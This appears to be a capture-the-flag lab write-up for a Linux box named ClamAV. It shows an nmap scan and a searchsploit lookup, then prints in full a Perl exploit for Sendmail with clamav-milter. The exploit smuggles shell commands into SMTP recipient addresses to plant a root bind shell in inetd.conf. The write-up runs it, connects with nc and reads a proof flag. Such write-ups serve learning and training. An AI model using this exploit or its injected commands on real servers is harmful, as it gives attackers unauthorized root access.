ClamAV
Level: Easy
Machine Type: Linux

I start off with an nmap scan.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sCSV -vvv -T5 192.168.247.42
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:47 UTC
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:47
Completed NSE at 22:47, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:47
Completed NSE at 22:47, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:47
Completed NSE at 22:47, 0.00s elapsed
Initiating Ping Scan at 22:47
Scanning 192.168.247.42 [4 ports]
Completed Ping Scan at 22:47, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:47
Completed Parallel DNS resolution of 1 host. at 22:47, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:47
Scanning 192.168.247.42 [1000 ports]
Discovered open port 445/tcp on 192.168.247.42
Discovered open port 25/tcp on 192.168.247.42
Discovered open port 199/tcp on 192.168.247.42
Discovered open port 80/tcp on 192.168.247.42
```

I decided to use searchsploit to search for ClamAV because that is the name of the challenge.

```
┌──(kali㉿kali)-[~]
└─$ searchsploit ClamAV
 Exploit Title                                                |  Path
Clam Anti-Virus ClamAV 0.88.x - UPX Compressed PE File Heap Buffer | linux/dos/28348.txt
ClamAV / UnRAR - .RAR Handling Remote Null Pointer Dereference     | linux/remote/30291.txt
ClamAV 0.91.2 - libclamav MEW PE Buffer Overflow                   | linux/remote/4862.py
ClamAV < 0.102.0 - 'bytecode_vm' Code Execution                    | linux/local/47687.py
ClamAV < 0.94.2 - JPEG Parsing Recursive Stack Overflow (PoC)      | multiple/dos/7330.c
ClamAV Daemon 0.65 - UUEncoded Message Denial of Service           | linux/dos/23667.txt
ClamAV Milter - Blackhole-Mode Remote Code Execution (Metasploit)  | linux/remote/16924.rb
ClamAV Milter 0.92.2 - Blackhole-Mode (Sendmail) Code Execution (M | multiple/remote/9913.rb
Sendmail with clamav-milter < 0.91.2 - Remote Command Execution    | multiple/remote/4761.pl
Shellcodes: No Results
```

From the nmap scan, I found that port 25 was running the “sendmail” version. So, I pick multiple/remote/4761.pl based on this information.

```
┌──(kali㉿kali)-[~]
└─$ cat 4761.pl
### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
#########################################################
use IO::Socket;

print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";

if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}

print "Attacking $ARGV[0]...\n";

$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '25',
                              Proto    => 'tcp');

print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf\"@
localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";

while (<$sock>) {
        print;
```

After copying the exploit to the home directory, I read it and found that I will need to set up netcat on port 31337. Now I can run the script.

```
┌──(kali㉿kali)-[~]
└─$ perl 4761.pl 192.168.247.42
Sendmail w/ clamav-milter Remote Root Exploit
Copyright (C) 2007 Eliteboy
Attacking 192.168.247.42 ...
220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; Mon, 4 Aug 2025 22:50:33 -0400
; (No UCE/UBE) logging access from: [192.168.45.223](FAIL)-[192.168.45.223]
250-localhost.localdomain Hello [192.168.45.223], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-DELIVERBY
250 HELP
250 2.1.0 <> ... Sender ok
250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf"> ... Recipient
ok
250 2.1.5 <nobody+"|/etc/init.d/inetd restart"> ... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 5752oXli004040 Message accepted for delivery
221 2.0.0 localhost.localdomain closing connection
```

Now I have the root shell.

```
┌──(kali㉿kali)-[~]
└─$ nc 192.168.247.42 31337
whoami
root
```

```
cd root
ls
dbootstrap_settings
install-report.template
proof.txt
cat proof.txt
621089c2c41cb5e0c3e3b772781473a7
```